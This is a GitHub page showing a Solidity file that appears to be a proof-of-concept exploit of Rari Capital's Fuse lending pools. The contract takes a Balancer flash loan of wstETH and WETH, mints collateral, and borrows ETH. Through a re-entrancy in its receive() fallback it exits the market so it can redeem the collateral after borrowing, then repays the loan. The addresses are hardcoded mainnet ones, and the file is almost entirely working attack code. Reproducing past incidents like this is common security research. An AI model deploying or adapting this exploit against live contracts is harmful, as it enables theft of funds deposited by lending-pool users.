-
Notifications
You must be signed in to change notification settings - Fork 2
Expand file tree
/
Copy pathFuseProtocolExploit.sol
More file actions
156 lines (124 loc) · 4.75 KB
/
FuseProtocolExploit.sol
File metadata and controls
156 lines (124 loc) · 4.75 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;
// ref https://github.com/abdulsamijay/Rari-Capital-Exploit-POC/blob/master/src/FuseProtocolExploit.sol
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
}
interface IFlashLoanRecipient {
function receiveFlashLoan(
IERC20[] memory tokens,
uint256[] memory amounts,
uint256[] memory feeAmounts,
bytes memory userData
) external;
}
interface IBalancer {
function flashLoan(
IFlashLoanRecipient recipient,
IERC20[] memory tokens,
uint256[] memory amounts,
bytes memory userData
) external;
}
interface IComptroller {
function enterMarkets(address[] calldata fTokens)
external returns (uint256[] memory);
function exitMarket(address fToken) external returns (uint256);
function getAccountLiquidity(address account) external returns (uint, uint, uint);
function getAssetsIn(address account) external returns (address[] memory);
}
interface IFuseLens {
function getPoolUserSummary(address comptroller, address account)
external
returns (uint256, uint256);
}
interface IFusePool {
function mint(uint256 mintAmount) external returns (uint256);
function redeem(uint256 redeemTokens) external returns (uint256);
function redeemUnderlying(uint256 redeemAmount) external returns (uint256);
function borrow(uint256 borrowAmount) external returns (uint256);
function getCash() external returns (uint256);
}
interface IFusePoolEth {
function mint() payable external returns (uint256);
function redeemUnderlying(uint256 redeemAmount) external returns (uint256);
function redeem(uint256 redeemTokens) external returns (uint256);
function borrow(uint256 borrowAmount) external returns (uint256);
}
interface IWETH {
function withdraw(uint wad) external;
}
contract Exploit is IFlashLoanRecipient {
address constant BALANCER_VAULT =
0xBA12222222228d8Ba445958a75a0704d566BF2C8;
address constant WSTETH = 0x7f39C581F595B53c5cb19bD0b3f8dA6c935E2Ca0;
address constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address constant fWSTETH_146 = 0x49dA42a1EcA4AC6cA0C6943d9E5dc64e4641e0E3;
address constant fWETH_146 = 0xfbD8Aaf46Ab3C2732FA930e5B343cd67cEA5054C;
address constant COMPTTROLLER = 0x88F7c23EA6C4C404dA463Bc9aE03b012B32DEf9e;
function exploit() public {
IERC20(WSTETH).approve(fWSTETH_146, type(uint256).max);
IERC20(fWSTETH_146).approve(fWSTETH_146, type(uint256).max);
takeFlashLoanFromBalancer();
}
function takeFlashLoanFromBalancer() internal {
IERC20[] memory tokens = new IERC20[](2);
tokens[0] = IERC20(WSTETH);
tokens[1] = IERC20(WETH);
uint256[] memory amounts = new uint256[](2);
amounts[0] = 80000e18;
amounts[1] = 50000e18;
IBalancer(BALANCER_VAULT).flashLoan(
IFlashLoanRecipient(address(this)),
tokens,
amounts,
new bytes(0)
);
}
function receiveFlashLoan(
IERC20[] memory tokens,
uint256[] memory amounts,
uint256[] memory feeAmounts,
bytes memory userData
) external {
// Enter market for wstEth
address[] memory fTokens = new address[](1);
fTokens[0] = fWSTETH_146;
IComptroller(COMPTTROLLER).enterMarkets(fTokens);
// Mint & receive fWSTETH
IFusePool(fWSTETH_146).mint(IERC20(WSTETH).balanceOf(address(this)));
// Borrow ETH & execute Re-entrancy
IFusePool(fWETH_146).borrow(2392401126398370465747);
IFusePool(fWSTETH_146).redeemUnderlying(80000000000000000000000);
// console.log(
// "Redeem underlying WSTETH for fWSTSTH-146 as borrow() doesn't update value in Rari."
// );
// console.log("Returned WETH & WSTETH amount back to Balancer");
IERC20(WSTETH).transfer(BALANCER_VAULT, 80000000000000000000000);
IERC20(WETH).transfer(BALANCER_VAULT, 50000000000000000000000);
// Silence compiler
{
userData;
feeAmounts;
amounts;
tokens;
}
}
receive() external payable {
IComptroller(COMPTTROLLER).exitMarket(fWSTETH_146);
}
}